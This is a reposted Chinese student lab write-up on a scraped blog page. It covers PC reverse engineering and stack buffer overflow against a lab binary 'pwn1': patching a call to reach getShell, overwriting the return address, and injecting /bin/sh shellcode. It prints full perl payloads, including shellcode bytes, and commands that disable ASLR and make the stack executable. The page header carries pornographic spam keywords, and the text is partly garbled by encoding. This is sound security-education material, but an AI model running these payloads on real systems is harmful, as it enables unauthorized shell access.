日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

20165307《网络对抗技术》Exp1 PC平台逆向破解

發(fā)布時間:2025/3/15 编程问答 42 豆豆
生活随笔 收集整理的這篇文章主要介紹了 20165307《网络对抗技术》Exp1 PC平台逆向破解 小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

實驗內(nèi)容

  • 手工修改可執(zhí)行文件,改變程序執(zhí)行流程,直接跳轉(zhuǎn)到getShell
  • 利用foo函數(shù)的Bof漏洞,構(gòu)造一個攻擊輸入字符串,覆蓋返回地址,觸發(fā)getShell函數(shù)
  • 注入一個自己制作的shellcode并運行這段shellcode
  • 知識點描述

    掌握NOP, JNE, JE, JMP, CMP匯編指令的機器碼

    • NOP:無作用。
    • JNE:若不相等則跳。
    • JE:若相等則跳。
    • JMP:無條件轉(zhuǎn)移指令。段內(nèi)直接短轉(zhuǎn)Jmp short,段內(nèi)直接近轉(zhuǎn)移Jmp near,段內(nèi)間接轉(zhuǎn)移Jmp word,段間直接轉(zhuǎn)移Jmp far。
    • CMP:比較指令,它不保存結(jié)果,只是影響相應的標志位。

    掌握反匯編與十六進制編程器

    • 反匯編指令:objdump -d objfile
    • 十六進制編程器:
  • 輸入命令vi xxx查看可執(zhí)行文件內(nèi)容
  • 按esc后輸入:%!xxd將顯示模式切換為16進制模式
  • 輸入:%!xxd -r轉(zhuǎn)換16進制為原格式
  • 能正確修改機器指令改變程序執(zhí)行流程

    見實驗步驟

    能正確構(gòu)造payload進行bof攻擊

    見實驗步驟

    實驗步驟

    任務(wù)一:直接修改程序機器指令,改變程序執(zhí)行流程

    • 下載目標文件pwn1,用objdump -d pwn1 | more命令進行反匯編:

    vim pwn1

    esc->:%!xxd 將顯示模式切換為16進制模式:

    找到e8d7,將其修改為e8c3

    再用objdump -d pwn1 | more命令反匯編看一下,call指令是否正確調(diào)用getShell:

    ./pwn1運行改后的代碼,會得到shell提示符#:

    任務(wù)二:通過構(gòu)造輸入?yún)?shù),造成BOF攻擊,改變程序執(zhí)行流

    用objdump -d pwn1 | more命令反匯編:

    確認輸入字符串中哪幾個字符會覆蓋到返回地址

    如果輸入字符串 1111111122222222333333334444444412345678,那 1234 那四個數(shù)會覆蓋到堆棧上的返回地址,所以只要把這四個字符替換為getShell的內(nèi)存地址,輸入給pwn1,pwn1就會運行g(shù)etShell



    getShell的內(nèi)存地址,通過反匯編時可以看到,即 0804847d 。應輸入11111111222222223333333344444444\x7d\x84\x04\x08

    構(gòu)造輸入字符串 perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input 。然后將input的輸入,通過管道符“|”,作為pwn1的輸入 (cat input; cat) | ./pwn1

    任務(wù)三:注入Shellcode并執(zhí)行

    修改設(shè)置
    apt-get install execstack 安裝execstack命令
    execstack -s pwn1 設(shè)置堆棧可執(zhí)行
    execstack -q pwn1 查詢文件的堆棧是否可執(zhí)行
    more /proc/sys/kernel/randomize_va_space 查詢是否關(guān)閉地址隨機化
    echo "0" > /proc/sys/kernel/randomize_va_space 關(guān)閉地址隨機化
    more /proc/sys/kernel/randomize_va_space 查詢是否關(guān)閉地址隨機化

    2.構(gòu)造要注入的payload

    使用命令 perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode 其中前面32個A用來填滿緩沖區(qū)buf,\x04\x03\x02\x01為預留的返回地址retaddr:

    接下來確定\x4\x3\x2\x1該填什么:

    打開一個終端注入這段攻擊buf: (cat input_shellcode;cat) | ./20165307pwn1
    再打開另外一個終端,用gdb來調(diào)試pwn1這個進程:用ps -ef | grep 20165307pwn1命令找到pwn1的進程號是:2854

    用gdb attach 2854 命令啟動gdb調(diào)試這個進程:

    用 disassemble foo 命令反匯編:

    用 break *0x080484ae 命令設(shè)置斷點,在進程正在運行的終端敲回車,輸入c命令繼續(xù)運行,使其繼續(xù)執(zhí)行。再返回調(diào)試終端,使用 info r esp命令查找地址。用x/16x 0xffffd2fc 命令查看其存放內(nèi)容,看到了0x01020304,就是返回地址的位置。

    根據(jù)我們構(gòu)造的input_shellcode可知,shellcode就在其后,所以地址應為 0xffffd300 :

    接下來只需要將之前的\x4\x3\x2\x1改為這個地址即可,用命令 perl -e 'print "A" x 32;print "\x00\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode

    再用 (cat input_shellcode;cat) | ./20165307pwn1命令執(zhí)行程序,攻擊成功


    實驗感想

    實驗收獲與感想

    在這次實驗中實現(xiàn)了緩沖區(qū)溢出,加深了我對堆棧的理解。

    什么是漏洞?漏洞有什么危害?

    漏洞是系統(tǒng)的缺陷,可以使攻擊者能夠在未授權(quán)的情況下訪問或破壞系統(tǒng)。

    轉(zhuǎn)載于:https://www.cnblogs.com/wangzhe1998/p/10543342.html

    總結(jié)

    以上是生活随笔為你收集整理的20165307《网络对抗技术》Exp1 PC平台逆向破解的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網(wǎng)站內(nèi)容還不錯,歡迎將生活随笔推薦給好友。